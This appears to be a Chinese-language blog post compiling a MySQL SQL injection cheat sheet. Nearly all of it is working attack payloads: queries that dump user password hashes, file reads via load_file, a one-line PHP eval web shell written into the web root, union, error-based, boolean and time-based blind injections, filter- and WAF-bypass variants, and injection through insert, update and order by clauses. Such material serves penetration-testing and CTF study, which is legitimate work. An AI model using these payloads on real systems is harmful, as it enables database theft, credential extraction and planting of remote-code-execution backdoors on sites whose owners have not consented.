sql注入详解总结

SQL注入

Posted by mr_king on March 1, 20210

sql注入详解总结

1.常用信息语句

当前数据库:database()

当前用户:user()

数据库版本号:version()

当前操作系统:@@version_compile_os

所有用户

select group_concat(user) from mysql.user;

mysql在5.7.20版本后添加了两个新的用户

mysql.session和mysql.sys

mysql.sys@localhost:用于 sys schema中对象的定义。使用 mysql.sys 用户可避免DBA重命名或者删除root用户时发生的问题。该用户已被锁定,客户端无法连接。

mysql.session@loaclhost:插件内部使用来访问服务器。该用户已被锁定,客户端无法连接。

所有用户hash值

select group_concat(authentication_string) from mysql.user where user="root";

mysql在5.7版本之后将user中password字段变为了authentication_string

所有数据库名

select group_concat(schema_name) from information_schema.schemata;

某数据库中所有表名

select group_concat(schema_name) from information_schema.tables where table_schema='库名';

表信息表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来

select group_concat(table_name) from information_schema.table_constraints where table_schema='库名';

字段名

select group_concat(column_name) from information_schema.columns where table_name = '表名';

读文件

select load_file('路径')

在mysql的配置文件my.ini中

secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  • ure_file_priv的值为null ,表示限制mysqld 不允许导入 导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入 导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入 导出做限制

查看secure-file-priv参数的值:

show global variables like '%secure%' ;

写文件

select '<?php @eval($_POST[cmd]) ?>' into outfile 'var/www/html/shell.php'

UNION 注入

1.1猜测字段长度

order by number

1.2 爆字段位置

and 1=2 union select 1,2;

1.3基本语法

union select 1,password,2;

报错注入

mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法

2.1floor

?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

2.2extractvalue

extractvalue(1,concat(0x7e,(select version()),0x7e))

2.3updatexml(最多32位)

updatexml(1,concat(0x7e,(select database()),0x7e),1);

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据。

2.4NAME_CONST

and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)

不太好用

2.5 Error based Double Query Injection

select 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1;

……(失败)

2.6 exp

id=1 and (select exp(~(select * from(select user())x)))

解释:

1、先查询 select user() 这里面的语句,将这里面查询出来的数据作为一个结果集 取名为 a 2、然后 再 select * from a 查询a ,将 结果集a 全部查询出来 这里必须使用嵌套,因为不使用嵌套 不加select*from 无法大整数溢出

2.7 polygon

select *from user where username='' and polygon(username);

ERROR 1367 (22007): Illegal non geometric '`user`.`user`.`username`' value found during parsing

BOOL盲注

select * from user where username='admin' and (select substr(version(),1,1)=5);
//正常情况
'or bool#
true'and bool#
    
//不使用空格、注释
'or(bool)='1
true'and(bool)='1
    
//不使用orand、注释
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0
    
//不使用等号、空格、注释
'or(bool)<>'0
'or((bool)in(1))or'0
    
//其他
or (case when (bool) then 1 else 0 end)

3.1构造逻辑判断

left(user(),1)>'r' #从左边开始第一位,1代表长度
right(user(),1)>'r' #从右边开始第一位,但当大于2时,字符串不是倒序,是原先的顺序
substr(user(),1,1)='r' #切割字符串,第一位是开始位置,第二位是长度,位置从1开始
mid(user(),1,1)='r' #切割字符串,和substr一样
greatest("a",database()); #返回最大值在与字符串比较
least("b",database()); #返回最小值再与字符串比较


user() regexp '^[a-z]'
user() like 'root%' //注意%通配符,建议写脚本的时候时候写到字符集最后面
POSITION('root' in user())
mid(user() from 1 for 1)='r'
mid(user() from 1)='r'

ASCII() #函数返回特定字符的ASCII值。如果输入了多个字符,则只返回第一个字符的值

ORD() 函数返回字符串第一个字符的 ASCII 值。

CHAR()	返回每一个传入的整数所对应的字符

CHAR_LENGTH(); #返回str的长度

hex() #16进制

bin() #2进制

延时盲注

相对于bool盲注,就是把返回值0和1改为是否执行延时,能用其他方法就不使用延时。 一般格式if((bool),sleep(3),0)or (case when (bool) then sleep(3) else 0 end)

BENCHMARK()用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()

select if ((substr(user(),1,1)='r'),benchmark(109999990,md5("dasdawdasd")),0);

如果两个函数sleep和benchamark都被ban掉的话

方法一:可以使用表之间的笛卡尔积造成延时效果;

 select if((substr("a",1,1)='a'),(select count(*) from information_schema.columns join information_schema.schemata join information_schema.tables),1);

方法二:不正确的正则表达式

select if(substr((select 1)='1',1,1),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1)

mysql注释符

1. -- -
2. -- +
3. /*....*/
4. `
5.

update 和 insert 注入

insert和update一般使用报错注入

如果没有错误回显,insert可以使用延时注入:

update可以使用bool盲注和延时盲注。

还有如果存在insert或者update,更新后的数据是可见的话,那么利用mysql中字符串在与数字进行运算的时候当作是0进行运算

insert 语法

insert into table_name(column1,column2)values(value1,value2); 

update 语法

update table_name set column='' where column='';
select ''+1;

mysql> select ''+1;
+------+
| ''+1 |
+------+
|    1 |
+------+
1 row in set (0.00 sec)
mysql> update users set pw=''+conv(hex(substr(user(),1,6)),16,10) where username='test';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from test;
Empty set (0.00 sec)

mysql> select * from users;;
+----------+-----------------+
| username | pw              |
+----------+-----------------+
| admin    | 1               |
| test     | 125822936825964 |
+----------+-----------------+
2 rows in set (0.00 sec)

order by 后的注入

7.1报错注入

1 and extractvalue(1,concat(0x7e,(select user()),0x7e));

7.2bool盲注

order by IF((substr(user(),1,1)='r'),1,(select 1 union select 2));

7.3延时盲注

不推荐,每条数据都会执行一次延时。

order by if(1,sleep(3),0);

无列名注入

别名

select * from user where username='' union select `1`,`2` from(select 1,2 union select *from user)a;

绕过waf总结

SET @SQL=0x73656c65637420646174616261736528293b;
PREPARE pord FROM @SQL;EXECUTE pord;